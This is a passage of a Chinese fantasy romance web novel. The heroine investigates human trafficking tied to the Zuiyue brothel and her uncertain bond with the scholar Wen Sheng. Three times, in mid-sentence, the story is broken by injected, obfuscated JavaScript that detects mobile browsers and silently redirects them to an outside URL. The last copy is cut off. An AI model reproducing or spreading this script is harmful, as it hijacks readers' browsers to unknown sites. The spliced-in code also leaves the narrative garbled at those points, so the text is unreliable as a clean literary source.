我赶忙跳开几步远,和柳砚清拉开距离。 “想你只穿了件单衣,送件长衫,来穿上。” 不等我接过手,闻笙走到我面前,亲手替我披上长衫。 “谢谢……” 看看情况啊喂!您是故意来雪上加霜的吗!刚哄好,全前功尽弃了啊! 替我整理穿好衣裳,闻笙转向一旁面色难看的柳砚清。 “道长千里迢迢赶来,想必舟车劳顿。竹村没有可留宿的客栈,不如道长趁着白日,可去光州内歇下。” 哇,闻笙居然如此直白地下逐客令,太强了吧! “叨扰已久,确实该动身离开了。”柳砚清说着再次看向我,“和我走吗?” 微风将他的话语吹落耳畔,深邃的黑子眸子里映出我举棋不定的脸。 我望着他,欲言又止。但这瞬间,余光瞥见了闻笙平静微笑的脸。 我清楚地意识到,我还不能离开。 “我还有未完成之事。” 柳砚清的唇微微抿起,失望之余略显无奈,眸光看了看我的脸,转而落在我的手腕。似有言语在柳砚清唇边徘徊,最后也只是温柔吐出四个字。 “好生保管。” 我抬起手腕晃了晃手链上挂着的玉,扬了扬下巴。 “嗯,师尊放心吧!” 烈日穿透云层,马车扬起的尘土渐渐消散在竹林尽头。 我望着柳砚清离去的方向,愣在路边迟迟不肯离开,直到马车彻底从视野里消失。 身旁的闻笙静静地陪着我,看着我。良久,才出声询问:“他,真的是你师尊吗?” 我缓缓看向他,摆出理所当然的样子。 “是啊。医药方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056732|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的知识,都是他教给我的。” 他的表情闪过一丝失落,随即弯起眉眼。 “这样啊。” 明明已经相伴数日,我还是无法看清闻笙的内心。总是在快要捕捉到情绪变化时,被他用笑掩盖。 我笑着转移话题:“阿齐?你以前是这样叫我的吗?” 闻笙点了点头,“起初一直唤你风姑娘。慢慢熟络以后,你说可以唤你阿齐。” “有点像男孩子的名字。” 我打趣着自己取的称呼。闻笙垂下眼眸,稍作思考后问道—— “那不如唤你,风?” 柳砚清也唤我风。 不是没想过在我醒过来之前,柳砚清和闻笙有过一番交谈。 或者说,他们一定谈论过什么关于我的事情。虽说叫什么无所谓,但又想到这两人都唤我风,总感觉怪异得很。 最后,我只好朝他露出一个不太满意的表情。 “还是阿齐吧,我挺喜欢的。” 听完,闻笙露出些许笑意,转瞬即逝,低声沉吟。 “是因为他唤你风吗……” 我不由愣住,声音太小,我没听清他说了什么。我迷惘地抬起头看向他。 “你说什么?我没听清。” 闻笙不由莞尔,垂下眼眸。 “没什么。” 推门入室,见我还披散着头发,闻笙拉着我继续刚才没完成的梳发。 木梳穿行在发间,闻笙的指尖忽然一顿:“昨夜袭击者,可还记得特征?” 我忖度着,努力回忆昨晚的情况。 “除了弹琴的姑娘,没有看清另外一个人的脸。不过被囚禁期间,我一直听见有妇女孩童的求救声和哭啼声……持续了很久。还有身上奇怪粘手的液体,到底是什么……” 他手腕轻转,将白梅步摇稳稳簪入发髻:“明日去光州寻那琴女。总要让他们付出代价。” 铜镜里,闻笙眉宇间凝着罕见的肃杀之气,与平日的温润书生判若两人。 听得我直接整个愣住。 【又拂卿柳】 安置好屋内熟睡的姑娘,闻笙轻手轻脚退出房间。 木门合上的瞬间,结界无声落下。 那位从光州一路护送至此的柳道长,此刻正负手而立,目光如炬地盯着院墙外那片苍翠竹林。 只需一眼,柳砚清便认出了竹林出自谁手。 和医鹿山后山小屋望出去的一隅竹林造景,蓬莱第几宫的竹林一模一样。 柳砚清沉眸,视线转向闻笙:“好久不见,闻笙。” 闻笙不讶反笑道:“道长怎会认识我?没记错的话,这是我与道长的第一次见面。” “真的是第一次吗?” 直白的反问,闻笙失笑,也没有再隐瞒下去的必要。 “道长一路护送至此也该回医鹿山了。” “你知道我说的不是鹿镇。”柳砚清毫不示弱,步步紧逼。 两人确实在鹿镇碰见过,那时他们都隐在暗处,不约而同地守护着同一个人。 也确实不止在鹿镇见过。 闻笙转身欲走时,柳砚清突然开口:“你记得多少?” “若我说全都记得”闻笙仰头,碎光落在他颤动的喉结上,“道长待如何?” “什么也别说。”柳砚清的声音像结了冰,“不管是这次,还是……之前的每一次。” 几十年过去,记忆如新。 “呵。” 闻笙的笑声里浸着苦涩。 “横竖她都不记得了。真是讽刺,次次重生皆与我重逢,却每次都……” 他突然转向柳砚清:“你呢?以救命恩人的身份接近她,这次总能如愿了吧?” “她选择谁,是她自己说了算。况且……” 柳砚清沉下气。 “无论重来多少次,我们都不是她最终的选择。” 闻笙突然上前一步,问道:“她与你从未成亲?” “从未。” “两次都没有?可我分明记得——” “她走了。” 柳砚清打断他,声音平静得可怕。 屋内传来轻微的翻身声。两个男人同时沉默,望向那扇门的神情,却是一个隐忍,一个黯然。 那是三千多岁的南风仙子第一次奔赴死亡。唯我独尊的南风仙子,一袭白衣坠入了万劫不复的江河。柳砚清站在西洲孤岛的梅林间,眼睁睁看着对岸的人纵身一跃,淹没于滔滔江水。 柳砚清没有救她。 因为怨恨她选择了别人?或许吧。嫉妒蒙混了头脑,酿下了不可挽回的错。 柳砚清悔过,后悔没能在她忘掉记忆前问到她离开的理由,问出她为何不愿嫁给他的理由。 说要与我生生世世在一起的人是你,转身抛下我的人也是你……到底为什么…… “我为柳仙人做了首歌,就当,你救下她的谢礼吧。” 柳砚清接过闻笙递过来的纸张。 “风知归途偏弄弦,卷尽繁花过画檐。白梅噙霜墨,柳絮缠旧年……” 声音戛然而止,柳砚清笑着折好揣进袖中。 “多谢。” 闻笙浅笑着说:“传说总要有人传唱。从仙凡纠葛到人神恋歌……总好过被岁月湮没。” “人神恋歌……”柳砚清自嘲似的笑了笑,“不过重生两次,三折俗套戏文罢了。” 20. 星分牛斗 暮色渐沉,醉月楼的灯笼一盏盏亮起,将我的影子钉在青石板上。 伙计第三次来赶人,“快走吧。你都站这儿一下午了,诗诗姑娘今天很忙,没空见你。” “她不可能没有。我有的是时间等她。” 我依旧保持杵在原地不动,死死盯着醉月楼的大门。伙计没辙,只好又返回去招揽过路的客人。 借口逃脱,刻意逃避,诗诗在心中的嫌疑逐渐放大。 二楼的茜纱窗忽地晃动,隐约露出半张敷着胭脂的脸——诗诗果然在窥视。 “千万别被我找到证据。不然,我保证请你吃牢饭。” 三个时辰前。 抵达光州,我和闻笙打算从昨晚出事的地方搜寻线索。正午的日光也照不进这条幽深小巷。 我站在弹琴女曾坐的位置,向闻笙还原当晚情形。 “弹琴为饵,偷袭在后……手法老练,不似生手所为。”闻笙低声梳理,试图从以往听过的案件中找出类似。 我下意识将心头的疑虑一股脑地抛出。 “他们目标明确,算准了我会来此。所以他们一开始就盯上我,潜伏于此。恐怕对方不止两个人,或者更多。弹琴的少女和伤我的人应该只是派来做事的下手,幕后一定有指使他们的人。” 从什么时候?是什么人?我来光州不过两日,能和谁结下仇……突然心头一紧,我扣住身旁闻笙的手腕。 闻笙面露诧异,想抽出手安慰我,却被我扣得更紧。 一个名字骤然出现在脑海。 闻笙忽然俯身,温热的指尖将我鬓发别至耳后:“平心静气,还记得吗?” 这分明是柳砚清常说的话。他们果然谈起过我。 我望着他近在咫尺的眸子,那里面映着我苍白的脸。巷口阴影里突然传来沙哑的童声:“两位,找人吗?” 一个衣衫褴褛的男孩踱出黑暗,破旧的衣摆像挂在竹竿上的麻袋。他布满血丝的眼中透着与年龄不符的坚毅,手臂上新旧伤痕交错。 我望向闻笙,在他的神情中读出了和我同样的想法。 “前天,我看到了。” 话音落下,他直直指向我。我按住闻笙欲要阻拦的手臂,从他身后探出头:“你看到了什么?” 我步步逼近,男孩儿毫不怯懦。直到我与他只一步之遥,居高临下以大人的姿态俯瞰他。 此刻街上风清日暖,热闹的街道来来往往,没人会注意到路旁的巷子口正上演什么。 男孩肮脏褴褛的衣裳上不知沾上了什么,散发出阵阵恶臭。 我的手伸向腰间的锦囊。 男孩儿看我有了动作,一下警觉起来,手中的拳头也攥紧些。 我取下锦囊,随着手部动作,锦囊被抛出精确的弧度,稳稳落在男孩儿懵懂伸出的掌心。 “治愈伤疤的药,把伤口处的泥擦洗后再涂。” 男孩接下锦囊,手指渐渐收紧,犹豫许久他开口说道:“你和我去个地方。”他越过我又看向身后的闻笙,“但他不可以。” 闻笙显然不会同意,立刻径直走到我身边,拉着我的手腕将我带往身后。一大一小两人用眼神作斗争。 我轻捏他的指尖,递去一个安心的眼神:“放心吧,我不会有事的。” 穿过一处挤满听众的勾栏,离开主街道,路线逐渐偏离向城郊。 大概一刻钟的样子,男孩儿领着我走进了一个隐匿城郊流民安置的济民区,一处茅房背后杂乱无章的小院。 用力拉开全是毛刺的破烂门,小院四面由泥土砌成的矮墙,摇摇欲坠的干草棚下,坐着躺着十几个衣衫褴褛病恹恹的男女老少。 吃剩的饭菜和沾满污垢的破布肆意堆放在一起,远离人群的角落还有一滩发出恶臭的东西。 草棚的对面,有一口被木板和钉子封禁的井。 难闻的味道与眼前混乱的场景不断刺激着我的感官。 我忍不住干呕,可被十几双眼睛盯着,我不由心头发冷,生生憋回去。我不敢再深入院子,更不敢靠近草棚。 眼看着男孩儿走到人群边,和他们说了什么,回转过头与我对视。 他的眼神,是叫我过去? 我沉默了几秒,目光在男孩儿和其他人之间来回扫视,最终选择朝他们走去。 草棚下的味道比我想的还要糟糕,浓烈的恶臭熏得我几乎要呕出来。十几双眼睛都如同蒙上了一层灰,呆滞地看着我。 男孩儿抬手指了指其中最年长的,躺在脏污的衣裳堆里的男人。老人家面色苍白,嘴唇干裂留有血渍。 “爷爷已经烧了好几天,一直没有好转。” 他又指向一旁中年女人怀里护在襁褓的婴儿,“她也发烧了。恐怕是被传染的。” 一圈下来,除了男孩儿本人,其余十一个人都不同程度的病了伤了。 我本以为他们是一家人,一番介绍后,得知都是无钱医治,被家人丢弃于此的。 他们互不认识,借着彼此的暖意挨过了冬天,却无法迎来春天。 这里是光州的暗黑之地,没人会靠近这里。这里,只有安静等待死亡之人。 “所以你叫我来是……” 男孩儿卸下之前的坚毅,用那双沾满泥泞的手抓住我的手,逐渐发抖。 黑乎乎的小手只敢抓住我的指尖,黏黏腻腻的,我也没有甩开他的手。 颤抖的身体低埋着,和巷子口那个小大人一般的孩子判若两人。 我蹲下身,抬手压了压男孩头顶因为长时间不清洗凝固的蓬头。 “谢谢你相信我。” 我收回手。 “可我做不到。我不是医者,只是认得一些草药。听不懂脉象,看不出伤口的严重程度……我不敢擅自为你们诊病,也不敢轻易给你们开方子……” 男孩儿怔怔抬头,一时什么都没说出口。 同过去无数次被拒绝一样,男孩儿默然接受。 打开我送他的锦囊,拿出里面我做的药膏。一言不发走到一位身上有明显挨打痕迹的男人面前,将膏药递给他。 “我送姑娘出去吧。”他低声说道。 起初我没反应过来,直到望着男孩儿走向院门,我才犹豫着跟上他。 看着男孩儿一路前行的背影,一股熟悉感涌了上来。 好像曾经也发生过诸如此类的事情——走在前面的人衣裳青绿色,头顶官帽,安抚着流离失所的人,许诺他的百姓。 在即将走出济民区时,男孩儿突然停了下来。 “我跟姑娘说谎了。” 我有些疑惑地看着他:“什么?” “前天,我并没有目睹发生了什么。只是在街上与你擦肩而过时,闻到了你身上的药草味儿,以为你是医者,所以欺骗你到这儿。爷爷和小乖病得严重,我四处求医,可大家刚到这儿就逃走了。” 我停住脚,回头又望向那间院子的方位。灰蒙蒙的天空,没有烟火味儿的人间地府,被至亲之人抛弃,被世间抛弃。 我不禁想起柳砚清将医术送到我手里的时说的话。我为什么学医,为什么苦心跟在柳砚清身边五个月日夜钻研。他要求我背诵的,罚我抄写的,都是为了什么。 多一个赚钱养活自己的门道?不对吧。医者,不该只是一份挣钱养家的职业。 我咬着唇蹲下身,牵起瘦弱的小手:“虽然我不能帮你们,但是……我不会就此放弃。” 他冲我扬起脸笑了笑,却是苦笑。 “不必了,谢谢姑娘。反正我们,没有多少时间了。” “什么意思?” 话音未落,巷口突然传来重物拖地的闷响。 三个彪形大汉像拎鸡崽般拖着三名少女。麻绳深陷进少女们青紫的手腕,脚尖在地面划出蜿蜒血,快速奔向隐蔽处停着的一辆马车。 “你们干什么!光天化日还敢强抢民女吗!放开她们!” 我大声喝斥着,快速冲到三个大男人面前,张开双臂拦住他们。 “多管闲事!滚开滚开!” 其中一个恶霸一脚踹在我的肚子上,身体不受控制地飞向一旁的土墙。 头顶被砸落的灰尘蒙住我的双眼,我虚弱地跌坐在地上,半晌无法动弹。 我正要起身,追赶跑走的恶霸,却见男孩突然死死抱住我的腿。。 “姑娘,别去!那是醉月楼的人。她们是被买走的,这里……是交易点。” 我难以置信地看着离去的背影,全身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056733|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不停地颤抖,咬着牙吐出那个沉重的字。 “买?” 醉月楼……又是醉月楼。 无论是与我结仇掳走我的嫌疑人,还是眼前被买走的少女……光鲜亮丽的笙歌之地,真是藏了一屋子秘密啊。 我不禁发出冷笑,捂着剧痛无比的肚子,拉着男孩的手臂站起来。 男孩被我诡异的笑吓楞了,慌张地想挣脱我的手。 我紧抓住他不放,偏头从容地看着他。 “你叫什么名字?” “唔嗯……陈烈。” “好。明天我还会来,带上药一起来,一切交给我吧。” 陈烈激动得眼睛里难得见到了光:“谢谢姑娘!” 他似乎想起什么,小声附在我耳畔:“对了,姑娘。你明天来,不要告诉今天和你一起的那位……大人。” “为什么?” 男孩似乎很抗拒闻笙。面对我的追问,他张了张嘴,酝酿许久也没再说些什么。 见他不愿说,我也不强求。 “好。不告诉他。” 挥别陈烈,接下来,就是去找诗诗对峙的时候了。 入夜,醉月楼的热闹才刚刚开始。 趁着人多杂乱,我混进楼内,躲在诗诗房门口的一根立柱后,紧盯紧闭的房门。 里面的说笑声起伏不断,听着诗诗娇滴滴的谈笑声以及那些个官人恶心的声音,我几度想扭头走人。 待诗诗从房间内开门送客,我抱着双臂从立柱后的阴影里走出来。 见我至此,诗诗不打算再躲。送客后,领着我到了醉月楼背后,远离前院热闹的后院。 “明明是你让我来见你,我来了,你又拒之门外。诗诗姑娘莫不是……心怀鬼胎?” 诗诗拉着了拉身上的长衫,盖住自己露出的香肩,漫不经心地回答:“我很忙的。齐风姑娘一闲散之人,体会不到我们这等红人一天过得有多辛苦。醉月楼是享乐之地,不适合你。” 对于阴阳怪气的讽刺,我压根不在意,用相同口吻的语气回了她:“我当然不明白。我只知道,如果诗诗姑娘不趁现在坦白一切,后面的日子,只有去牢狱和这些长得跟肥猪似的人喝酒玩乐了。” “肥猪?”诗诗冷笑一声,“齐风姑娘胆子不小啊。你知道刚才的人是谁吗?说错话可是会掉脑袋的。还是说,齐风姑娘死过一次,不怕再死一回?” “诗诗姑娘听错了吧。我说的是‘飞猪’,飞黄腾达的——猪。”我故意拖长了尾音,最后一个字咬得极重。 诗诗一改房内娇滴滴的笑声,猖狂大笑道:“刚才那位可是朝廷重臣吴盼秩吴大人。不过……早就听闻齐风姑娘毒舌善战,五年前在光州的英勇事迹,诗诗到现在还听人说起。今日一见,确有几分独到。和平常女子果真不一般。齐风姑娘该不会是——” 她故意拖长尾音,话说一半不说了。 “是什么?有屁一次性放完。” 本不想用粗鄙之语,但她欺人太甚骂我在先。以牙还牙,怎可让自己受委屈! “哼。不知好歹。懒得跟你白费口舌,快走吧,趁我还有心情,看在先生的面子上放你一马。” 诗诗不耐烦地挥了挥手,转身欲走。我快步挡在她面前拦住唯一离开的出路。 “我可没打算放你走。” 诗诗不耐烦地啧了一声,抱着手瞪了我一眼。 我假装没看见,继续说道:“昨晚找人暗算掳走我的人,是你指使的吧。醉月楼涉及贩卖人口,你也一定知情吧。数罪并罚,够你在牢里待完后半辈子了。” “后面一事人尽皆知,不是什么秘密。不过前者,我不知道你在说什么。” 诗诗依旧嘴硬。 “装无知?既然诗诗姑娘不打算坦白,我只好找到证据,将你告上衙门,送你吃牢饭了。”我步步紧逼。 诗诗像是听到什么有趣的笑话,抬手抵在嘴边,讽刺地扫视我:“凭你吗?” 我们之间只剩下晚风拂过纸灯笼发出的声音。 诗诗扬起下巴,笃定地望着我,像是断定了我无法完成这件事情,半边唇角勾起,嗤鼻一笑。 “拭目以待。诗诗倒要看看,卖人和杀人,哪个罪孽更重。” 21. 绮陌南头 步摇从发间滑落,跌进水洼。白梅在星光下泛着微光。 我蹲下身拾起它,脑海中却闪过草棚下那些失神的眼睛,和被带走的少女,迟迟未起身,心底说不清是悲伤还是自责。 这双眼明明看见了一切,却什么都改变不了。为何我只是个凡人,而非能撼动天地的仙人?指尖不自觉地攥紧,步摇在掌心发颤。 脚步声从路的另一端传来,在寂静的夜里格外清晰。 闻笙提着灯笼走近,神情熟悉得像是旧日重现。我张了张口,喉咙却干涩得发不出声音,只能勉强扯出一个笑。他显然看出了异样,眉头微蹙。 我揉了揉脸,故作轻松地编了个故事搪塞过去。说完,胸口的大石似乎轻了些,可鼻子却酸了。 “闻笙,我好累……” 我跌进他的怀里,竹香萦绕,酸涩翻涌。他轻拍我的背,温柔安慰:“辛苦了,在我这儿,不必勉强。” 防线崩塌,泪水决堤。我靠在他胸前,放任自己哭出声来。 待情绪稍缓,他轻声问:“想听听从前的你吗?” 我抬头,与他四目相对。他苦笑,拭去我眼角的泪:“那时的你,可不会这样哭。” 闻笙牵起我的手,提灯引路。星河浩瀚,远山如墨,林间风声沙沙,寂寞却温柔。他讲的故事,正是诗诗口中的“五年前传说”—— 我在光州茶馆听闻一桩拐卖案,十二三岁的少女被人从父母身边夺走。我怒火中烧,决定追查凶手张氏棋。 几经周折,我在暗巷发现他正与买家交易,手握卖身契,收取银两。为收集证据,我潜入他家,发现成捆的卖身契,受害者甚至包括婴儿。 正要离开时,张氏棋突然现身,阴笑着邀我进屋。他从容地推来一叠卖身契,挑衅道:“一个孩子十两银子,想救他们?拿钱来。” 我拍案怒斥,他却冷笑:“买卖人口合法,有本事让皇帝改律法!” 更令人心寒的是,当我找到女孩父母时,他们竟冷漠承认是自愿卖女。“女娃养不起,卖了也罢。”看着他们身后的两个男孩,我怒不可遏:“男孩能养,女孩就不行?”男人面无表情:“男娃能做苦力。” 积压的怒火终于爆发,我一拳砸向那张冷漠的脸。 我想继续听故事的后续,闻笙却说他不记得了。我又问起张氏棋的事,他只说那人后来平白无故失踪了,草草结案。 张氏棋失踪,与他有过正面冲突的齐风女侠也同一时间消失,人们便传言说是我杀了张氏棋,然后退隐江湖。 我猛然想起诗诗跟我说的话:“卖人和杀人,哪个罪孽更重。” 人一定不是我杀的,我那么怕死的人,怎么可能去杀人。闻笙也说了,平白无故死的,一定跟我没关系。 可真的,没关系吗……隐隐觉得,和我脱不了干系呢…… 烛火在书页上跳动,将《千金要方》的墨字映得忽明忽暗。我反复比对柳砚清手书的医书,指尖在“脏腑寒热”与“外伤瘀滞”的条目间来回游移。 心神不定,丝毫专注不起来。 该问问柳砚清救我出来的具体位置。如今线索如这井绳,明明近在咫尺,却怎么也探不到底。 烛泪堆成小山时,闻笙新添的茶已凉透。指尖拨弄着药材,熟悉的药香里却品不出半分把握。 往日柳砚清总在身后,如今连当归与独活都变得面目模糊。 榻上传来均匀的呼吸声。借着月光望去,闻笙的睡颜安静得近乎透明。 想不通从前的是我是个什么样的人,想不明白关于闻笙的一切。他有太多的疑点,我既信任他,又抱有怀疑。陈烈的反应就像告诉我,他认识闻笙,而且很膈应他。 如果那种情绪不是讨厌的话……一定是害怕。 陈烈害怕闻笙?为什么?那日去醉月楼,为什么所有人都认识闻笙,还恭敬待他?真的只是偶尔送诗来的先生吗? 月光浅浅地照在屋内的地板上,随风起的树影摇晃。毫无征兆的,我又想起了闻笙和我说起过关于发簪的事。他说,从前做发簪是迫不得已……闻笙不是苦读书梦想考取功名的书生吗? 我还想着什么,床上的人突然动了,脸转向我,但没有醒过来。 桌上的烛台微弱,我睁开还有强烈睡意的眼,看窗外已是清晨。 手臂下压着的书变得褶皱,身上还搭了件披风,我四下张望,没看到闻笙。正想着起身去寻,房门适时被推开,闻笙端着热腾腾的饭菜走进来。 他笑着问道:“是算准了吃饭时间醒过来吗?” 我深吸一口唤醒疲惫的美味,摸摸饥肠辘辘的肚子,嘿嘿笑道:“我的肚子说是的。” 穿好外褂,收拾好桌子,闻笙陆续从厨房端来丰盛的早膳。都是我爱吃的菜。闻笙总能完美地做出我喜欢的东西,窗外的那片竹林也是。据说我初到竹村时,那里还是一片荒凉的土坡。搬来和闻笙住一起后,因为我的一句“好像差了片竹林”,他便在视野正好的位置亲手种下一片竹林。 我夹起一块肥瘦均匀的肉递到闻笙嘴边,他很自然地接受了我的投喂。 “你看你,气血不足,要多吃有营养的呀。” 闻笙被我的话逗笑,点头道:“我记下了。” 【逆梦归尘】 五年前,从哥哥手里获得他为我量身打造神器后,死后复生再次燃起风流勇气的我再度光临光州,与闻笙再次重逢。 神器是一把青玉色的笛子,我将它取名“玉笛”,言简意赅。 问过哥哥为何偏是笛子,他说,你坠入旷野江河昏迷时,有人每日坐在仙岛海边的礁石上,对着海面吹同一支曲子。那人说,这样沉在海底人界的魂魄才能循着音律找回家。 蓬莱仙岛的海面下是人界,海岸边的礁石是我被关在蓬莱第几宫三千年里最常呆的地方。 “每日?同一首?”我怔了怔。 哥哥说:“砚清将曲子取名为《天上月》,说是用你旧诗作的引子。顾影海底月,辞眸心上人。” 我低头凝视玉笛,指尖无意识地摩挲笛身,仿佛能听见遥远的海岸线上,那支曲子正随着潮汐起伏,一声一声,固执地回荡。 可那时,我已经和砚清大吵一架,发誓此生不再见他。 借着下凡散心的由头,我再度踏入光州竹村,找上分别数年的闻笙。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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信使猛灌了一口茶,粗陶茶碗重重砸在桌上,茶水溅出几滴。他抹了抹嘴,眼中闪过一丝愤恨:“你想说那个竹村教书的先生?不会不会。那醉月楼的勾当,说出来都脏了人的耳朵!为了敛财,那黑心老板什么缺德事都干得出来。良家女子被他们威逼利诱,转手就卖进深宅大院。更养着十几个膀大腰圆的打手,专对付那些还不上赌债的人。” 托信使调查张氏棋一事的同时,我也托他帮我看看闻笙在竹村的近况。 他说到这里突然噤声,警惕地环顾四周。 “只是听说啊,不保真。上月有个卖豆腐的,就因为欠了三两银子,第二天就被人发现漂在光州城外的河道里。” 我端起茶盏,怔愣着又放下。 信使感叹着摇头道:“醉月楼好啊,怎么不好。有诗诗姑娘那么漂亮的姑娘在高台为你唱歌起舞,人人都像做了帝王。为了讨美人欢心,争着抢着给诗诗送去金银珠宝。可惜啊,美人早已心有所属。” “谁?” “还能是谁,酒楼老板呗。会作诗,会挣钱,生了副不会衰老的俊俏书生相,试问哪个姑娘不喜欢。” “那老板……醉月楼的老板,姓什么?” 信使见我眸子凛冽几分,不禁收敛了些,摆摆手道:“不会是那教书的闻先生,姑娘放心。虽然……”他别扭地挠了挠后颈,“虽然那酒楼老板,也姓闻。” 22. 恼人春色 香薷、蓼子、吴茱萸……万事俱备。 陈烈特地交代不可带上闻笙,我只好找个理由搪塞过去。 “我去见一位许久不见的故人。” 好蹩脚的理由,但我实在想不出不带上闻笙的借口。 “故人?”他垂眼看我,平静的眼睫似乎被风浮动,“真的不是你师尊?” “师尊?”我还没想到柳砚清身上,闻笙倒是先想到了。正要顺口答应,忽然想起两人之前似乎有过芥蒂,我赶紧摇头。 “不是他。是……一位姑娘。我在山上学医的时候认识的。听说她在光州,我去看望看望她。” 闻笙似乎安心了些,带着笑意的轻吻落在我的唇畔。 “早些回家。” 不经意的吻吓得我愣在原地,傻呆呆地望着闻笙。 “……抱歉。过去习惯在你离开前吻你……” 说着抱歉,脸上却看不出一点和话语相关的情绪。我别开涨红的脸,支支吾吾化解尴尬。 “不是……那天在巷子我也突然吻你来着……咱们算扯平了。” “是吗。” 一声轻快,他一把握住我的手。 “那可以再亲一下吗?” “欸?” 没等我反应的机会,又一个吻贴上来,比刚才的更深更久。 “晚上我去接你。” “嗯……” 竹村到光州城并不远,走得快些一个半时辰就到了。 济民区众人见了我,眼里顿时有了光。我从未觉得自己如此重要,使命感油然而生。 有陈烈帮忙,事情进行地还算顺利。只是这里条件太差,想找一桶干净水都难。 我又忍不住看向那口被封闭的井。 “那口井,是什么?” 我询问身边煎药的陈烈,他头也不抬,摇头不肯说。 或许我天生有一根反骨,他不说,我更好奇。抱起双臂,威胁也要问出来。 “你不说,我就再也不来了。” 陈烈终于抬起脑袋,紧张的神情犹豫着要不要说。 “不能说……会有危险……” 我拍拍他的肩膀。 “你悄悄告诉我,我不告诉别人,没人会知道的。天知地知,你知我知。” 出于对于我的信任,陈烈有所保留地告诉我说,那口井下面没有水,是一个深不见底的地坑,通往另一个不为人知的地方。 地坑…… 我望着井口被钉子钉上的木板,一时出神。 如果那天晚上我真的在井下,外面的哭声是? “陈烈,两三天前的晚上,这里有发生过什么吗?” 陈烈像是受到了惊吓,手里摇摆的扇子突然停下,眼神游离。 “昨日你说你没见过我,是在街上闻到了我身上的药材味……这句话,是骗我的吧。” 陈烈握紧手中的扇子,紧抿嘴唇。 “你一定知道是谁把我抓到这里的。” 他依旧不说话。 我不急,继续问:“是醉月楼吗?” 他终于肯摇头回应。 竟然不是醉月楼,还是他又在骗我? 我抱着胳膊,微微直起身子。 “陈烈,你如果再不说实话,我说到做到,这些药,我打翻都可以。” “我说!”他急切地抓住我的手臂,垂下眸子,“我说实话……” 我无奈叹了口气,拍了拍他毛茸茸的脑袋。 “我无心威胁你,但此事对我而言很重要。那天晚上,是不是醉月楼的人来此欺负大家?” 陈烈摇了摇头,继续煽动炉子里的火。 “那晚抓姑娘来这儿的人,是别人。” “谁?” 许久,他都沉默着。低沉稚嫩的声音良久后缓缓吐出两个字。 “阴差。” ……………………… 阴差?地府的阴差?怎么还扯出鬼来了? “你莫要胡说,这世上哪来的鬼。” 再说,如果真有鬼,陈烈还能看到鬼不成?传说中的阴阳眼?我不信。 “我说真的姑娘,那晚我亲眼所见!你知道……地府里的黑白无常吗?” 陈烈神色凝重,我只觉荒唐想笑。 “陈烈,你可曾听过‘鬼差’抓人却不取命的?” 他摇头说道:“从未听过。但那天晚上我亲眼所见!” 陈烈的故事编得极为邪乎,仿佛从哪个志怪话本里直接搬出来的。 起初,我抱着怀疑的态度,觉得他不过是在吓唬我。可他的眼神太过认真,语气太过笃定,甚至连细节都说得一清二楚。 “那晚,乌云密布。” 陈烈压低声音,目光直勾勾地盯着我。 “突然,一阵阴风刮过,传来‘咯咯’的笑声,像是从地底深处钻出来的。接着,一道黑影和一道白影拖着你直接穿进墙壁。再出来时,姑娘你就不见了,只有那一黑一白两个鬼。” 他说到这里,故意停顿了一下,似乎在观察我的反应。我皱了皱眉,不为所动。 “我说真的!他们头上的帽子还写了字。那白影还是个女鬼,笑起来可吓人了……” 我嗤笑一声,反问道:“那你怎么没事?被阴差发现,你还逃得掉?” “因为……他们说,你是被选中的人。” “选中的人?” 陈烈点点头。 “据说那口井连通着阴间。阴差每隔一段时间就会来阳间来抓从地府逃走的人,而你……就是他们的目标。” 我本想再笑,可不知怎么,竟有些动摇。 重生、地府、阴差……保不准真是如此? 陈烈继续道:“既然天上有神仙,那底下有鬼也不奇怪吧。姑娘,短时间内,不,几年、几十年内都不要离开光州!否则阴差会以为你想逃,再把你抓起来的!” “你……没骗我吧?” “姑娘,我骗你做什么?我只是……不想你出事。” 我沉默了,然后下一秒—— “噗嗤。” 我笑了。 “故事很精彩,下次奖励你一个糖人。”我拍着陈烈的小脑袋,“好啦。可以告诉我,幕后之人到底是谁了吧。再编故事,我可就真生气了。” 生着闷气的小脸通红,加快了煽动火炉的扇子,小声嘀咕道:“一切都是为了大人……姑娘发誓。” 突然正色的陈烈,连我也收起玩笑心,认真回应他。 “我发誓。话说大人是谁?” “璃坊。” “璃坊?是什么?” “找到璃坊,姑娘便什么都知晓了。” 璃坊在光州不是什么不起眼的小作坊,我沿着一路问来的指引,终于在城南找到了它。 璃坊是一间世代做金银玉器饰品的作坊,沿袭三代,至今也是街头巷尾女性常光顾的铺子。 巧的是,这家老板姓闻。 闻姓在光州并不常见,随口打听,任谁都说:“闻氏?外地人吧,光州本地可没有这个姓。” 据此情报,璃坊的闻老板和我恰好认识的闻先生必定有关系。 初访那天,璃坊的闻老板并不在,出去谈事情了。我心中虽有疑惑,却也只能暂时作罢。 转身离开时,坊里接待的人突然叫住我。 “姑娘留步!我见姑娘插着的步摇好生眼熟,可否询问姑娘这步摇是从何处得来?” 我取下头上的白梅步摇,递给他看。 